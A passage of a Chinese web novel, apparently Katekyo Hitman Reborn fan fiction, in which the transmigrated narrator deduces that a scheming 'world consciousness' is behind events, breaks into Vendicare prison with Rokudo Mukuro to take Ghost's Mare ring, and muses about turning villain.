这不是一个非常积极主动的选择,而是被迫无奈的一步棋,平行时空帮她排除了所有选项。 她才是那个一直被推着走的人。 在这个世界里,她是白花花的一颗棋子;在某个更大棋盘上,她也被迫扮演了一个身不由己的角色。 她的作用是激活彩虹之子的奶嘴,激活7^3石板。平行世界的毁灭,让她被迫返回主世界,而她的时空跳跃又恰巧和我的穿越重合起来,成了我的向导。 说实话,我觉得在近乎无限的时空缝隙中看到尤尼的灵魂,原本也是一个巧合到可怕的事情——首先,我所穿越的起点要和她足够近;其次我离开上一个世界的时间,也要和她被迫返回的时间相对重合。 拜托,一个地球七十亿人,随即抽取两个名字就正好抽中两个面对面站着的人,概率有多大?八兆亿个世界,这么多的平行时空…… 就像是有什么在故意引导我、引导尤尼,让我们在恰当的时候相遇一样。 仔细想想,尤尼酱的穿越时机是可控的,只要世界毁灭,她就必须行动;我的穿越时间也并非无序,前面几十个世界,我摸索世界意识下的规则,缓慢适应,但当穿越世界的次数过百过千的时候,我整个人就已经穿麻了。 平均3-5秒适应一个世界,根据世界跨度的不同,可能会产生1-2秒的误差。但这点误差,在混乱的空间间隙里,几乎可以忽略不计。 过度的穿越让我焦躁、让我懒得控制、懒得思考,只想机械性地跟着习惯走——让我变得可控。 我和尤尼的相遇,是可控的。 尤尼返回的时间也是可控的。 所以,我真正进入家教主线的时间,也是可控的。 越想越觉得背后发凉。 这一切的开端,就是对穿越司的那次袭击——袭击不仅打开了穿越窗口,而且还将我扯入了一个可以被提前设定的穿越起始点。 只要这个起始点距离主线世界足够远,那我穿越个几千次是绝对可以预见的结果。 那个把我拖入家教世界的,绝对就是Ghost。但,控制Ghost,却未必是白花花。 果然,即使凤梨出罐,我还是得去复仇者监狱一趟。 不亲眼确认,我实在无法安心。 120-130 第121章 在复仇者监狱里当了十年罐头的人就是不一样, 他对这里的一切都无比熟悉。 像六道骸这样当着罐头,却还能随时保持自己对外界感知的人可不多。 正因如此,他才更加谨慎地警告我, “你不会是想要硬闯进去吧?复仇者监狱可不是密鲁菲奥雷的基地, 想进就能进。” 一句话让白花花为了流泪六次,虽然这话由六道骸说出来,也算是陈述事实, 但却也无疑将嘲讽意味拉满。 密鲁菲奥雷也没有那么容易出入吧,不敢想白花花自己听到之后会是什么想法。 估计又是一场血战。 我并不是真的打算强闯,毕竟我需要的是确认Ghost的状态。白花花现在比任何时候都需要维系自己家族的实力。 在严重受创、甚至丢失三枚玛雷指环的状况下,他必须得召回自己的雷之守护者。 一次交易机会被六道骸破坏了, 就得赶紧着手筹备下一次机会。 受伤和挫败只会加速这一过程。 “不是强闯做不起, 而是守株待兔更有性价比。”我自言自语地小声嘟囔。 不过话又说回来了,作为后置位的剧情,复仇者监狱确实要比密鲁菲奥雷坚固许多。否则,白花花也不会亲自出马,要和复仇者监狱做交易。 那么问题来了, 如果复仇者监狱有着上位于白花花的力量, 为什么会允许他毁灭世界呢? 不合逻辑。 即使复仇者监狱并不在乎由谁来统治世界,至少也得在意世界是否存在吧。 但事实却是, 其他的世界就是被毁灭了, 我亲眼看到的,无人生还。 而在这个事实的基础上, 我也同样确认, 其他世界的7^3石板并未被激活, 也就意味着白花花的实力并未被增强过。 已知, 复仇者实力很可能大于白花花, 又,白花花并未获得7^3石板的实力加成。 问,白花花是怎么跨过复仇者而毁灭世界的。 也是靠刷攻略? 彭格列和密鲁菲奥雷实力基本均等,刷攻略完全没有问题。 但复仇者监狱? 就目前的直观表现来看,白花花有攻略还老老实实做什么交易? 隐藏实力,放松复仇者监狱的警惕? 香肠战术,蚕食复仇者监狱的势力? 勉强可以解释。 但如果将复仇者体系纳入思考,就势必要把前后所有剧情都串联起来,随之而来的,就是新的问题。比如某个一直在吃拉面的川平大叔——他似乎还有个真名,但我不记得了,只能想起后置剧情里,他轻易释放了十倍于纲吉的火焰力量。 这样的人,也无法阻止世界毁灭吗? 虽然单纯的漫画可以解释为设定吃书,但当这个世界成为真实世界之后,就不是两个字能够轻易解释的了。 不论怎么思考,逻辑都总是无法达成完美闭环。 中间一定有某个环节出现了问题。 有某个我暂时无法想到的第三方力量,在隐隐介入其中。 白花花的地位突然从大BOSS变成了小BOSS。 我回过神来,旁边的六道骸还等着我说话呢。 我讪讪一笑,“就算不让随意进出,你不也进出过多次了吗?” “哦呀,区区两次称不上‘多’吧。” “你太谦虚了,如果不是有人拖后腿的话,你恐怕不会在罐头里待十年的。” 拖后腿,指和六道骸一起被关入复仇者监狱的犬和千种。十年前的越狱行动里,六道骸把这两个人送出了监狱,自己却被重新抓了回去。 当然,也有很大一部分是因为六道骸才是真正的主谋,但如果他真能做到无情的话,凭借附身能力,跑路应该不难。 “这样的评价真是让我受宠若惊。”六道骸也不谦虚,神色基本默认了我的说法,不过他依然认为,攻击复仇者监狱是一种自杀行为,“自从那件事之后,复仇者监狱的防卫手段便大大增加了。” “‘那件事’?拜托,别和我打哑谜。” 听上去像是我没有听说过的事。 他颔首,“白兰曾经和复仇者监狱产生过正面冲突。” 我眉心一跳,“哦?” 竟然还真有过,那就更印证了我的猜测,白花花没有压过复仇者监狱的权威。 “让我猜猜,因为Ghost。” “没错。”六道骸给了我肯定的答案。 白花花和复仇者监狱冲突是一个偶发性|行为,而不是八兆亿世界都有的相同攻略。这样推论的原因很简单,Ghost本身就是一个带有偶发性质的存在。 “所以,白兰一开始并不希望Ghost被关入复仇者监狱。但是,他失败了。” “没有人知道内情,但据我了解,白兰·杰索不喜欢把任何主动权放给别人。”六道骸进行了一些合理化推测,“不过我个人倒是觉得,全力硬拼的话,白兰杰索不是完全没有机会赢过复仇者,只是没有必要。” “因为白兰不欣赏的因素里,也包括了不可控的Ghost。”我马上就从他的眼神里读出了这些,“看来你对自己的这位‘狱友’还挺有了解?” 情理之中,复仇者监狱最深层的空间并不大,估计也没有多少犯人有资格被送到那里。 并不算宽敞的地方,六道骸在里面住了十年,他能通过幻术,让自己的精神和意识寄住在监狱之外,了解监狱内的情况,那不得是手拿把掐吗? “他非常‘活跃’,即使是在那样的环境里,复仇者依然需要时不时观察检查他——特别是他有过几次破坏牢房的越狱行为、也杀了不少复仇者之后。多亏了他,复仇者倒是发现了不少自己监狱的薄弱之处。” 换而言之,监狱被加固过了。 很难说Ghost的行为到底有没有影响到六道骸。 说不定六道骸也有过越狱的打算和准备呢,但有限的弱点都被Ghost的自爆式操作找了出来,复仇者监狱实际上变得更加坚固。 “而且更有趣的是,我发现Ghost完全没有真正意义上的自我意识。” “哦?你还探寻过这一点?”我有些意外,但很快就想通了个中缘由,“你曾经想过利用他离开监狱。” 如果能够进入Ghost的大脑,那么利用他那无差别攻击制造出的骚乱。不仅六道骸可以跑路,还可以顺手把锅甩给白花花,何乐而不为? 但显然,他失败了。 我不解的是,“如果他没有自我意识,那你掌控起来,不应该更加容易吗?” 我对控制人的精神,并无多少造诣,所以只能凭借字面理解来进行推测想象。六道骸很快就向我展示了精神控制的难点,和他失败的原因。 “没有那么简单,即使是我的附身,也建立在原本就已经存在的精神模式上。举例来说,运行高性能的软件需要与之相匹配的硬件。但是Ghost,他的生理结构就已经断绝了承载精神波动的可能性。” 六道骸给出了一个暴论,“我并不认为Ghost是活着的。” 不愧是唯一指定没有穿越时间线的守护者,多少有些开天眼的属性。 “世界不会允许两个同位体的存在。所以Ghost和白兰之间,比如要有一个是‘死亡’的状态。” 这倒是不出所料,但我没有点得太明白,毕竟六道骸就喜欢谜语人行为。 他眼里闪过一丝惊讶,像是寻找到了某个让人兴奋的结论,“一般来说,死者也拥有一定程度可以承载精神力量的结构,像是某种生理延续。” 但Ghost没有。 跨越世界会造成的后果远比想象中还要严重,Ghost基本上介于肉|体生理和能量体生理之间。 我大概推论,勉强维持了Ghost生理完整的东西,应该就是带有平行穿越属性的玛雷指环。 这也是Ghost会成为还雷之守护者的原因。 白花花空出一个守护者的位置,和同位体分享戒指出去是有原因的。 而介于中间态的Ghost,无法承载精神控制,意味着他无法完全被白花花绝对掌控。同时也意味着,不论白花花是用什么方式影响着Ghost,这种方式也可以为其他人所用。 关键不在于控制,而在于某种代替了“控制”的影响力。 表面上来看,最大的可能性是玛雷指环。那能够控制玛雷指环的,都有些谁? 或者把“谁”的问题,转化成“什么”的问题——白花花当然是人,但并不意味着攻击穿越司、利用我的,也是人。 这是二次元,一切皆有可能。 我好像抓到了某个问题的关键,脑子里冒出了一个可能,一个能让一切都顺理成章的可能。 我的心跳开始加快,垂下眼睛,遮挡自己的瞳孔地震,强烈的精神冲击让我认不出想要战栗。 如果要验证的话…… “六道骸,你还记得Ghost几次闹监狱的时机吗?” 他点头,当然知道,“他每次闹出来的动静,都不不小,复仇者们越来越应激,实在是想不知道都难啊。” 六道骸短暂停顿了几秒,用来重组记忆——幻术分|身多的人,确实会有一些时空错位的烦恼。 “最近的一次不超过十天,我就是借他大闹的时机,才找到了将精神力量输送到监狱外的机会——这个机会让我至少有把握在选择战场上,帮助我可爱的库洛姆拖住白兰·杰索——当然,你帮我省下了这些力量,现在的我算是还了这个人情了吧。” 果然。 如果是选择战前,那大概也就是我穿越的时间前后。 我越来越觉得我触摸到了真相。 “有什么后果吗?”我压抑着想要努力扩张的呼吸,继续问。 “还是老样子,破坏了牢笼,杀死了几个复仇者吧——但具体的战况我并不清楚。” “连你也无法窥视?” “Ghost的机制就排斥着精神力量的介入。” 如果我猜得没错—— 说实话,这个猜测委实离谱,是我自己都觉得炸裂的程度。 就是因为太炸裂,我不敢只通过一点猜测结果去反向匹配六道骸的证词。 我需要更有说服力的证据。 对这个答案的熟悉迅速构筑起逻辑堡垒,我深吸了一口气,想到了验证猜想的方式。 我的语气一变,神色严正起来,拍着六道骸的肩膀,重重地点头,“很好,这意味着白兰不会通过Ghost了解到复仇者监狱的内部情况,同时,复仇者数量减少也是机会。” 有一个瞬间,六道骸一定表露出了一些地铁老人看手机的神态。 像是在问,复仇者出现死亡难道不是会让复仇者们更谨慎、让复仇者监狱的防备更严格吗? “机会?” 我却只是假装看不到他的神色,自顾自地开口,“我们必须进去,越快越好。Ghost是白兰的雷之守护者,他手上戴着玛雷指环。” 六道骸:所以呢? 他仿佛一下子跟不上我跳跃的思维了一样,想不通我的态度为什么突然变得如此草率而跳跃。 我先前的关注点,显然在Ghost本身,而非是玛雷指环。 但本着和我有共同利益的原则,他还是勉强地开口提醒我,“白兰·杰索想要的效果,需要全指环齐全才能发挥作用。他才是想要集齐指环的人,只要我们还拥有他的大空指环,就在一定程度上立于不败之地。” 我看出了他的言外之意——大不了,就像毁掉彭格列指环一样,毁掉玛雷指环,没必要主动犯险。 “如果只是想阻止Ghost加入占据,比起从复仇者监狱下手,不如从密鲁菲奥雷家族——” 我抬手,止住了他的话头。 现在决不能让集齐7^3的必要性这件事,落到白花花的头上,我得想办法加强一下7^3对我和我所在阵营的必要性。 我得对着一个特殊的、此刻正在关注我的某个对象,表一下决心。 “彭格列指环和彩虹之子的奶嘴都被困在时间线里,白兰手上能影响到时间法则的东西只有一样,即7^3石板——只有他的玛雷指环是做不到影响时间的。那么,想要把他们带回来,也必须借助7^3石板的力量。” 六道骸皱眉,看上去像是要否定什么,或是质疑什么,我却马上出声截住了他的话头,继续输出观点,甚至胡编乱造,“但你我都没有了力量激活石板。这个世界上,能够激活石板的就只有三样东西——彭格列指环、彩虹之子的奶嘴和玛雷指环,前两者都已经不在这条时间线上,我们只能采用和白兰一样的手段。” 我特意顿了两秒,让重点突出,“我·们·要集齐玛雷指环,把它们放入石板之中,将石板激活,然后把他们带回来,最后把所有元素都集中在7^3石板上,激活完整的石板,获得力量,打败白兰。这样不仅能打败恶龙,获得胜利,还有机会影响其他世界,让死亡复苏——就像正义的伙伴。” “……你确定你是在和我说话?”六道骸的表情变得怪异起来,我过度详细且不着边际的步骤解释让他产生了怀疑,“你打算用这种方式来重启你的世界?” 也是一种解释方式,我不置可否,“我们不能让纲吉他们困在时间线上,那非常危险。Ghost就是前车之鉴,事实证明世界不会允许同位体在同一个点出现,不论是平行线还是垂直线都不行。” “你还打算从白兰手里把7^3石板抢过来。”六道骸看上去已经快要放弃思考了。 “不,我可以接触石板。” “怎么接触?” “在梦里。” 六道骸:? “你是说幻术?” “不不不,更神秘的梦境——不是人类潜意识的投射,不是幻术连接的精神,而是——7^3石板的意志。”我歪头,在他开口询问之前,把手指竖放在了嘴巴上,“嘘”了一声,“没错,不用怀疑。7^3石板拥有自己的意志,有时候,它可以连接‘相关者’或‘相关物’。” 我看着手指上戴着的指环,一双小小的翅膀在橙色的宝石旁熠熠生辉。 “这不完全是个唯物的世界,你是幻术师你应该最能理解了吧。有时候,‘意志’是可以影响——不,甚至是改变现实的。不论是幻觉还是‘有幻觉’,本质上都是同样的道理。” 半真半假。 我信奉,只要我够自信,那不论说什么都会有人相信的原则。虽然替换掉了一些关键词,并且非常突兀地表达了一些观点,但我认真的神色应该能够弥补一二。 至少,六道骸这样的资深唯心主义幻术师,确实是最容易接受我这一套理论猜测的人。 我不需要每一句话都是真的,只需要他相信是真的就够了——甚至他也不需要相信,只要另一个存在能相信我的真诚就足够。 六道骸陷入了深思,他在思考我言语的同时,也在认真审视着我的表情。 我坦诚着任他打量。 “纲不吉君,你不会是在暗示,先前你提到过的云之玛雷指环和晴之玛雷指环,都是在梦中,被7^3石板的意志取走了吧?”哪怕是六道骸这样见多识广搞骚活儿的人,声音里都带上了几分不可思议。 但我确实希望他这样理解,于是我颔首,“只是‘暗示’?抱歉,那可能是我说得太含蓄了吧。” 我抬起手,将大空指环展示在六道骸面前,“本来这个也应该放上去的,但我仔细思考了一下,大空是一套属性的核心,应该最后再放上去才能起到最佳效果。” “那是你在7^3石板的梦中的思考吗?” 这是个语言陷阱——我马上就意识到了。 因为我刚刚从梦中惊醒的时候,显然在状况外,我还询问了六道骸云、晴两指环的下落。 我眼睛一转,模棱两可道:“不完全——怎么,你不相信我吗?” “太过匪夷所思。”六道骸也以同样模棱两可的态度回应了我。 我感受了一□□内拟态力量的流动——尚未达到我想要的状态。 说服六道骸真麻烦,如果眼前是了平大哥,一切就容易得多了。 “很难理解吗?指环选择自己的主人,彩虹之子的奶嘴也选择了自己的诅咒,7^3石板比指环本身还要古老,难道会是一块普通的石板吗?” “为什么是现在?” “因为7^3石板在尝试自救。” “这不是唯一一个世界,它也不是唯一一块石板。” 六道骸的神色明显是在问,为什么其他世界的石板并没有做出足够的反应。 我这算是掉入了自证陷阱吗? 但这样补充得详细一点未必是坏事,“平行世界的毁灭将它也逼到了角落,更重要的是,任何事物都有其运行的法则,这是唯一一个触及到规则底线的世界。”我看向了复仇者监狱的方向。 “你是说Ghost。”六道骸似乎被我绕进去了,像是信了几分,“同位体原则?” “嗯哼。”我点头,“而且现在纲吉他们也在这个规则的边缘,7^3石板就是规则本身,世界毁灭不会杀死他,但规则断裂会。平行世界的原则已经因为Ghost的出现,产生了裂痕,如果纲吉君也和另外某个时间点的相遇的话……” “7^3石板无法承受这种负担——你是想说这个,对吧。”六道骸在思考,在斟酌,在判断。 我在他眼里没有多少权威,但我身上全是谜团。比如我的来源、我的目的。 谜团意味着无限可能。 但既然他隐藏在选择战的战场上,就应该能够感觉到我对白花花的强烈敌意,以及现在我对让时间回归秩序的渴望。 在这一点上,我们拥有共识,绝对算是暂时的友军。 “没有办法证实,也没有办法证伪。”六道骸失笑,这也是他惯用的招数。 这句话一出,我和他之间就陷入了僵局,得尝试开辟一个新赛道。 “证据之能实锤自己发生的事,在事实发生之前,证与不证都没有意义。动机更重要,我像是那种会为了别人的世界付出一切的人吗?” “说实话吗?”六道骸眼睛一眯,视线像是直接穿透我的皮囊,“还真有点那种意思。” 我愣了一下。 没想到,我在六道骸心里竟然是如此高大的形象。 这不科学,我和他的交集绝对不深,难道我长着一副好人脸? “但你说得对,动机。”他话锋一转,“你想要重启死亡的世界——这是其一,7^3石板——这是其二。或许二者之间存在因果关系,可这是全部,一定还有其他的什么。” 看人真准。 我耸耸肩,没有继续着急着说话。 一方面是给六道骸一点时间来消化,一方面我也在思考,这套说辞至少得在表面上能说得通才行。 就像我过去穿越中会被“人设”所影响一样,基本逻辑必须符合世界观、被人所接受。 就在此时,我手上戴着的指环突然“歘”的一声,燃起了火焰。 橘色的火焰凌厉地包裹着指环上的翅膀,将宝石照得透亮。 在火焰燃烧的炽热中,我感受着体内流动顺畅的力量——这不是来自于觉悟的火焰,而是被拟态激发的指环力量。 换而言之,是「书」的力量,等价代替了“觉悟”,在玛雷指环中被转化成了这个世界可用的力量形式,也即火焰。 和先前纯粹的拟态不同,这是在玛雷指环的机制下运行的火焰——如果把正常的火焰产生方式比错一盘猪油炒菜,那现在我手上的火焰,就是将炒菜的猪油换成了橄榄油,而先前的拟态则是一盘有一样外表的塑料制品。 首先声明,我并不清楚玛雷指环的运行原理、我没有创造玛雷指环、我也不懂指环的构造,这火焰本不是我主观能做到的事情。 我做不到,但我知道什么能让我做到。 只有人设的改变能够直观达到如此效果,但短时间内对单一对象的人设输出,是不可能达到这样立竿见影效果的。 这样就验证我猜测最重要的一步,「祂」没有像往常一样,在更宏观的角度同化,而是在亲自聆听。 “我记得你的属性不是大空。”六道骸有些惊讶。 虽然属性这种东西可以重合,比如狱寺的主属性是岚,但其他几个属性——雷、云、雨等,也多少可以点燃一些。 但,这些“第二属性”之中,却绝对不可能包括大空。 即使是XANXUS融合了大空和岚的愤怒之焰,也是大空在前,岚在后。他所使用的火焰必须有大空属性,其次才能混入岚。 可我在这个世界中,首先拟态使用的却是石榴的岚属性。 “我并不拥有指环,也并不拥有属性——准确地来说,这是指环的火焰。” 我几乎是抑制不住地笑了出来,我说服了我最想说服的一方,确认了自己的猜测—— 我当然不是指六道骸。 六道骸只是一个“入口”,我需要「祂」通过六道骸的耳朵,听到我的声音。 “指环是人投射觉悟的工具。” 六道骸应该是所有人中,对指环依赖最小的那一类——他的力量隐藏在眼睛之中,即使没有指环,他依然能够使用足够强力的幻术。 “指环确实是工具,但有一点你说错了——它不仅仅是人类的工具。”我用手指搓灭了指环上的火焰,“它将觉悟转化成火焰,‘觉悟’这种抽象的词是意志力的化身,我不是才告诉你,并非只有人类才拥有意志吗?” 这大概有点超出六道骸的认知了。 但他对任何怪异事件的接受能力都很强。 燃起的大空火焰,无疑加深了他对我刚才输出的一大段设定的认同,“你是说,7^3的意志,点燃了火焰?这里不是你的梦境。” 其实不是7^3。 但我不能明说,只是反问,“你使用幻术的时候也不需要受体睡觉吧。”我给了六道骸一个极自信的眼神,“准备一下,我们要进入复仇者监狱了。” 在这件事的目的上,我有世界作为友军了。 输不了一点。 世界也许并不是一个肉眼可见的实体,但任何可见可感知的一切,却都可以称为“世界”的一部分。 祂也许无法战斗,却无时无刻不在使用着奇妙的方式,彰显自己的存在。 祂是人类意志的集合体——我被本世界的人认同更深,则我在这个世界陷得就越深,这个机制就说明了,世界意识的成分。 说实话,单是这一点就已经足够抽象,由复杂的人类意志组成的集合体难道会有多纯粹吗。 先前所有世界的表现,世界意识的表现,无疑都极度边缘化——世界意识没有时间和空间的概念,只受主视角人物的意识的影响。有时候,为了达成主视角正在发生的世界观,祂会补全这个世界不存在的过去——但这不是一种即时的主观行为,而是为了保护世界运行的一种机械性规则。 但当天降正义砸白兰这种事发生的时候,世界意识的影响力就已经超乎寻常。 这是主动行为,即使只是影响力,也是主动使用了影响力——祂让那一刻的我,变得很“幸运”,幸运地砸中了白花花,幸运地拿走了玛雷指环,并且幸运地被六道骸带走,从而有机会在那个特别的梦境里,把指环嵌入7^3石板里。 并不是每一个世界意识都能做到这种程度,应该说世界意识本来就不应该有主观偏好,但是这个世界很特别。 我应该更早一点意识到的,当一个世界意识拥有主动的自我防卫和自行修bug能力的时候,祂的性质就变了。祂不再是一个自然产生,按照某种机制运行的世界外围边界,而是一个从八兆亿世界中卷出来的卷王之王。 只要能想通这一点,先前所有的问题都迎刃而解。 为什么我和尤尼酱的穿越会那样恰如其分,为什么Ghost的力量会精准地撕裂那个世界,为什么我会在返回时错位到大空指环的位置。 还记得我之前的形容吗? 我总觉得有一只无形的手,在推动着我的前行。 无形的手——有什么比世界意识更适合这个形容? 我看了看旁边的六道骸,他是个唯心主义,但没有唯心到这个程度。 我半真半假的说辞里,用7^3石板代替了世界意识的形容,等于是告诉他,7^3石板借用我的身体,点燃了指环。 好炸裂的答案。 但看得出来,他动摇了。 只是不知道,是我动摇了他,还是世界意识的影响力动摇了他。 虽然我用了“人类意识集合”来形容世界意识,但在实际运行里,真正决定了世界意识强度和方向的,却是这些足以影响世界走向的重要人物。 在现在的世界事实中,“重要人物”指的自然就是7^3石板的三个角,尤其是主角团所代表的彭格列角——主角嘛,你懂得。 但鉴于主角团惨遭时间囚困,现在最能影响人设所带来的概念的人,就是六道骸。 这也是我疯狂输出观点,也不管六道骸能不能马上接受的原因。我不是在和六道骸本人对话,而是在通过他,和世界意识对话。 在其他世界或许不行,可这个意识拥有了从未有过的“主动权”。 也正是因为这种主动权,我才不能让拥有强烈自我保护机制的「世界意识」意识到,我直接猜到了祂本质的异常,而是用了“7^3石板”来故意走弯路。但也不能太过南辕北辙,所以我需要顺着世界意识的愿望来整理说辞。 世界意识的愿望是什么?我认为那个无厘头的梦境就是最好的提示。 很显然,即使深层原因暂且不明,祂最直观的希望都是想让我把指环嵌入石板之中。 我得把控一下度,因为只要这个愿望为真,世界意识就会主动帮我展示集齐指环的方式,也即把时间线摆正的方式。 只是我不明白,既然祂的目的和白花花原本的打算重合在一起,祂为什么不主动去帮白花花,——这种程度的主动影响力,足以兜毁灭世界的底——而是非要把我拉入局不可。 没错,我基本已经确认,袭击穿越司的就是世界意识影响到的Ghost。 至于我为什么会这么确认—— “复仇者监狱是这么容易进入的地方吗?”六道骸一副世界观遭受重创的样子。 他会有这种情绪很正常,毕竟我们恰好在复仇者交班的时间点潜入,燃烧的玛雷指环的大空火焰给了复仇者们错误的信号,让他们默契地散开,包围我和六道骸先前藏身的地点。 白花花和复仇者冲突的前科让复仇者监狱的“狱卒”们非常谨慎。毕竟是世界基石力量,他们会想要全员出动也并不反逻辑。 只是他们出发默默布置包围圈,复仇者监狱内部,自然就会相对空虚。 “空虚”——不只是指狱卒的数量少,也指狱卒的质量低。 白花花的交易会被六道骸摘桃的最重要的原因,就是幻术会对复仇者们起效。 而恰好,在六道骸接受了一部分我的人设后,我的拟态力量可以增强我面前的这个幻术分|身——原则上来说,大空的属性可以打开任何属性的匣子;然后又是一个巧合,刚刚因为放错了人,而被迷路菲奥雷家族找了麻烦的Ghost交易文件,就在去往最底层的必经之路;接着顺理成章,文件上记录了Ghost的位置。 按照六道骸的说法,自从Ghost上次尝试越狱失败后,复仇者们就将其转移到了更隐秘的地方——六道骸没有来得及找到那个位置,就被交易带出了罐头。 但他的担忧在看到文件的瞬间都化作了浮云,因为文件下面压着一把特殊的钥匙,钥匙上嵌着一颗灰色的、带有裂痕的奶嘴,金属体的钥匙末端,还刻着Ghost罐头的罐头号。 “我不敢相信世界上会有这种巧合。” “保持怀疑是优秀的品格。”我微笑。 果然,世界意识在获知我的计划和目的,并且被我安了一个7^3石板的马甲后,就开始不遗余力地展示自己的影响力。 当然,这还不是我确信祂袭击穿越司的原因。 真正盖棺定论的,是我打开Ghost罐头瞬间,所感受到的一切。 “等等,”六道骸起初对我直接开罐的行为表示反对,虽然他现在的世界观岌岌可危,但他还是本着不知道哪里挤出来一丝理智开口,“你应该知道,Ghost之所以会被关入这里,就是因为其无差别的攻击欲望。” 六道骸人还怪好的嘞。 他只是一个幻术分|身,消失也就消失了。但我是真人,所以他实际上是在关心我的安危。 “放心,如果白兰真的一点反制手段都没有,这个时候用交易把Ghost放出来不是自找麻烦吗?”我抬手,让火焰在指环上燃起,绝对隔绝内外力量交互的监狱,此时反倒成了最佳的自我保护手段。 即使是复仇者们,也不会在外面感受到这一点火焰反应,“我猜,玛雷指环就是白兰自信的关键之一。” 其实我内心并不认可这个答案。 如果大空指环是白花花控制Ghost的关键,那此时失去了指环的他,就不会着急着再和复仇者做交易,也就不会有我们路上“偶然”发现的交易文件。 但我可以让世界意识认为,我是这样猜测的。 至于我真正确信的,Ghost不会无差别攻击的原因——也是我认为世界意识袭击了穿越司的原因——是眼前的事实。 从罐子里流出来,只是一个名为Ghost的空壳子。 没有意识和认知是早有所料,但壳子里连力量都没有,那就“怪异”。 Ghost的能力是吸收其他人的火焰和生命力,直到把别人的力量榨干——如果说他初入这个世界时无差别的吸收和杀戮积攒的力量,还能解释为转移给了白花花。那在被关入全封闭监狱之后,几次越狱杀死的那些复仇者、吸收的大量火焰,都到哪里去了? 六道骸的证词,不久之前才刚刚杀过复仇者、吸收过大量的火焰。 Ghost本身又没有消化能力。 那就只可能是一个原因,他用掉了。不是白花花用的,上一次战斗他并没有带给我足够的压迫力——除了白花花,还有谁能够通过玛雷指环和指环拥有者产生肉眼无法窥探的联系? 只能是世界意识,只能是以7^3石板为介质。 就像祂将7^3石板带入了我的梦境,并影响了现实一样。 Ghost在世界意识的影响之下行动着。 当然,一般情况下来说,影响不等于控制。就像我的梦境,世界意识可以用7^3石板引导我、诱惑我将指环放进去,但祂却不能直接控制我的行为。 但巧合的是,Ghost本身就因为同位体原则而丧失了自主能力,白花花需要一个工具,所以可以说,白花花已经帮助世界意识,将Ghost改造成一个人形工具。 这种情况下,影响力就基本等同于控制力。 白花花显然是想通过自己适格者的身份,对玛雷指环施加影响力,从而控制Ghost,但他不知道的是,已经有另外一个更大的影响力,捷足先登。 六道骸没能覆盖Ghost的精神,除却生理因素,还因为Ghost的身体里,早已塞满了另外一个超认知的东西。 我取走了雷之指环。 就在指环离开Ghost身体的一瞬间,他的壳子迅速干瘪了下去——不仅是塞满了世界意识的影响力,同时Ghost本身也已经不存在于此,被用掉了。 这是真真正正的空壳子。 果然,那场失败的越狱行动并没有真的失败,Ghost离开了——或者说,他的力量离开了,离开这里去袭击我的穿越司。 穿越不是只要力量就能做到的,在家教的世界观里,在无法通过7^3石板拥有玛雷指环或大空奶嘴力量的情况下,穿越就必须有白花花的适格者身份——白兰·杰索是唯一一个,不依靠指环也拥有连通平行世界能力的人。 这样的天生特性,使他成为了适格者,而非是成为了指环拥有者之后才拥有了连通平行世界的能力。 适格者的特质先于指环拥有者的身份。 那自然,同位体的白花花也是白花花。 我有过和不少奇奇怪怪的动作为敌的经历,有利用世界意识特性的时候,也有和世界意识设定产生分歧的时候。 但如此清晰而坚定地站在世界意识的对立面,这还是第一次。 我得一边骗着世界意识,一边搞清楚这个特别的世界意识的一切,也绝不可能真的把7^3石板激活。否则,一个Ghost就足以祂攻击穿越司,再进一步,祂是不是就能穿过穿越司,直接进军我的世界了? 卷出来的世界意识真可怕。 我错怪白花花了,真正让我穿麻了的邪恶摇粒绒,是八兆亿卷王。 第122章 在没有戳穿八兆亿卷王身份之前, 祂就是我最忠实的伙伴。 原则上来说,祂并不具有肉眼可见的实体,也不能直接改变世界, 意识是在某种规则下聚合而成的, 祂自然被限制在这个框架之中。 换而言之,祂只有一些看不见摸不着的影响力。但世界意识的影响力无处不在,看不见摸不着反而让祂变得更加可怕。 有没有人体会过这种极致的幸运, 几乎到了心想事成的地步。 拿走Ghost身上的玛雷指环后,我和六道骸离开复仇者监狱竟也一路通畅。 扑了个空的复仇者们意识到了有诈,在我和六道骸堪堪离开监狱的瞬间,就迅速折返, 撤回到了监狱内。进入内部, 他们自然就感受到了我释放过的火焰,以为中了敌人的调虎离山之计,于是马上冲入了最深层的监狱。 殊不知他们这是个连环计。 然后我和六道骸就在完全没有追兵的情况下,顺利离开了复仇者监狱的势力范围。 更别提Ghost干瘪的空壳子脱离玛雷指环的支持后迅速消弭无形,也就是说, 复仇者们蜂拥而至只会看到了一个空荡荡的Ghost罐头, 和大空玛雷指环留下的火焰波动。 同时,这个时间点还正是密鲁菲奥雷与复仇者们产生冲突后不久, 以及, 这个产生冲突的原因,也正是Ghost的释放错误问题。 我已经能看到好大一口锅扣在了白花花的头上, 怎一个惨字了得。 因为世界意识对他的期望转移到了我身上, 所以好事都让我占了, 坏事都落到了他头上。 我轻而易举拿到了雷之指环, 但我却开心不起来。 在目的一致的时候, 世界意识可以让我心想事成,但终有一天,我会和祂走向对立,那时候岂不是要体会极致的倒霉——就像现在的白花花一样。 幸运和霉运的转化和对等…… 啊,狛枝凪斗竟是我自己。 八兆亿世界级的幸运和可以预见的八兆亿世界级的倒霉。 更重要的问题是,人要如何应对一个看不见摸不着的敌人,如何摆脱那无处不在的影响力。 我脑子里冒出来的第一个念头简直要吓到我自己——我想,既然世界意识产生于世界、依附于世界、连通于世界,那如果我毁灭世界,是不是就可以完全摆脱八兆亿卷王带来的风险。 原来我才是真正的邪恶摇粒绒。 我成反派了? 世界意识心仪谁,谁就将是反派,对吗? 更可怕的是,我真的打心底里觉得,毁灭世界是个好主意,并且开始不自觉地考虑实行计划。 比如,我可以继续挑拨复仇者监狱和密鲁菲奥雷家族的关系,让他们全面开战; 然后我可以忽悠正一和斯帕纳让我参与进时间穿越的修复问题中来,他们现在肯定很相信我,所以我可以巧妙地推动他们借密鲁菲奥雷和复仇者的开战抢夺7^3石板; 接着借着要夺走彭格列指环的借口,调动世界意识的影响力帮助我,召回主角团;再用我那未卜先知——好吧,是看过漫画的剧情预知。用彩虹之子的诅咒问题,煽动多半能压制没有玛雷指环加成的密鲁菲奥雷的复仇者掉转枪头,对准彭格列; 一旦彩虹之子的矛盾点暴露,那吃拉面的川平就有可能介入,我再偷偷干掉尤尼酱的话,不仅能拿到奶嘴,还能让世界意识的影响力像今天一样帮我甩锅给主角团。川平和主角团就成了对立的两方; 这样的话,团灭掉大多数对我有威胁的人,我就可以露出獠牙跳反,非常轻易地毁灭世界——到了那个时候,就算世界意识有影响力,应该也无计可施了吧。 